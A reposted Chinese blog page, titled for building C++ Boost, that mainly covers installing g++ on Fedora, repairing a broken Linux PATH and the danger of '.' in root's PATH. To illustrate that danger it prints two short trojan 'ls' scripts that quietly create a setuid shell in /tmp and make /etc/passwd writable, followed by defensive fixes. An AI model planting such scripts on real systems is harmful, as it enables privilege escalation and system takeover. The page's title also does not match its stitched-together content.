C++ Boost在Windows和Linux下的编译安装
生活随笔
收集整理的這篇文章主要介紹了
C++ Boost在Windows和Linux下的编译安装
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
再debian下直接apt-get install gcc g++就可以了。按照類似的邏輯,再Fedora下yum install gcc g++ 報告無法找到g++包。
差了一下,原來這個包的名字叫做gcc-c++。完整的應該是yum install gcc gcc-c++ 。
注意安裝時要先成為root用戶。
linux下環境變量PATH設置錯誤的補救
之前不小心在/etc/profile中添加了錯誤的PATH變量,導致幾乎所有的系統命令無法使用,驚出一身冷汗,然后經過多次試驗終于修復成功。以下是部分經驗: 首先,PATH變量記錄著各系統命令的存放路徑,所以平時使用系統命令時可以直接輸入命令而不需要連命令的路徑一起。 比如"vi"命令,在PATH變量正常的時候直接輸入"vi /etc/profile"就可以,而PATH變量出錯的時候就需要輸入"/bin/vi /etc/profile"才能正常使用,否則系統將提示錯誤。 也就是說,即使PATH變量出問題,系統命令也不會丟失,只不過使用的時候必須輸入命令所在的路徑。 其次,PATH變量中存儲的系統命令路徑是以":"分隔的,通常PATH的值為"/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin"。 在把常用的非系統命令路徑加入時也是以同樣的方式,在變量的末尾加入":"及路徑,需要注意的是路徑末尾不能以"/"結尾,否則將導致整個PATH變量出錯。 最后是修復PATH變量的方法。修復PATH變量其實很簡單,就是重新給PATH變量賦值就可以了。至于PATH的默認值可以從其他的服務器上復制過來。 使用"echo $PATH"命令就可以查看當前服務器的PATH變量值,在正常的服務器上運行命令并復制輸出的結果,然后用"export PATH"命令重新給PATH命令賦值就可以了。命令如下: "export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin" Linux的環境變量PATH中所帶來的問題(環境變量“.”)設想一下,有一個人在一個他能寫的目錄下寫了一個名為ls的可執行程序,程序會把/etc/shadow文件發送到某一郵箱,而root又恰巧在那個目錄下,想ls下,結果是什么呢?
所以,很多安全要求高的Unix系統甚至要求用絕對路徑調用命令
見<Linux 系統管理與網絡管理>P296
?
本文主要講述“.”在LINUX的環境變量PATH中所帶來的問題,及解決的幾種方法。
正如很多人所知道的$PATH環境變量里存著一張目錄列表,當用戶要執行某一程序時,系統就會按照列表中的內容去查找該程序的位置。當程序名前不帶點斜線 . / 時$PATH就會起作用。
對于普通用戶和root用戶$PATH里默認是不包含"."來指定用戶的當前目錄。這在本機進行腳本開發的程序員來說卻不方便,想圖省事的人就把點加到了搜索路徑中,這就等于在你的系統埋下了險情。
例如:root為了方便使用在他的當前路徑末尾加了個點"."(搜索目錄為代表當前目錄)
命令操作如下:
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
這下是方便了,直接輸入腳本名就能執行。OK,正常情況下一點問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設的腳本文件名)。有的root把PATH=$PATH:.這條命令加到了profile里,使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然PATH=.:$PATH(將":"加到路徑前是另一種形式)。正常請況下一點問題沒有,直到有一天,張三用戶在他的主目錄下放了名為lls的腳本,并對root說他的系統出問題了希望root能幫他解決。(其實是一個trap)。Root一上來就su 成管理員權限,緊更著列了一下目錄。有可能管理員誤敲成了lls,結果哈哈。。。。
以下是個簡單的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微變形就有個B shell的
#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root將其環境變量$PATH包含了"."并且其位置先與ls所在的系統目錄,那么當用戶在/tmp中執行ls時,執行的是上面給出的腳本,而不是實際的ls命令,因為最終還是執行了ls,所以root不會看出有任何異常。如果是root執行了該腳本,就會將口令文件設置為可寫,并將shell復制到/tmp保存為.sh,同時設置其setuserid位,所有這一切都非常安靜地發生。
在以上這兩個程序里,心懷不鬼的人能寫入任何令root急的要跳樓的程序,部下陷阱等root來鉆,也許root在不知不覺中施行了也根本不會察覺。 也許在張三的主目錄下有一個名為ps的腳本里面包含有危險腳本,root可能一到他的機器前就輸入了ps,此時系統會首先到當前目錄下搜索,結果/sbin/ps卻不被執行。類似這樣的小花招還有很多。
管理員同志,不要太緊張,下面我說說解決辦法。
首先,要養成輸絕對路徑的良好命令行輸入習慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。
其次,根用戶(root)不要把"."包括到搜索目錄列表里,而普通用戶如果個"."包括到搜索列表中的話別,則"."就應當放在搜索目錄列表的最后位置上。這樣一來普通用戶不會受到前面所述的那種危害。
最后,可以在登陸時在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
這個簡單的sed命令將刪除路徑里所有的"."包括其另一形式"::"
還可以由crontab調用定期執行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
來搜索所有以點開頭的文件,再發送到root的郵箱里,再進行比較等任務。
https://blog.csdn.net/yansmile1/article/details/70327835
boost.python編譯及示例
轉載于:https://www.cnblogs.com/tewuapple/p/9072480.html
總結
以上是生活随笔為你收集整理的C++ Boost在Windows和Linux下的编译安装的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Nancy之基于Self Hosting
- 下一篇: 进程管理常用命令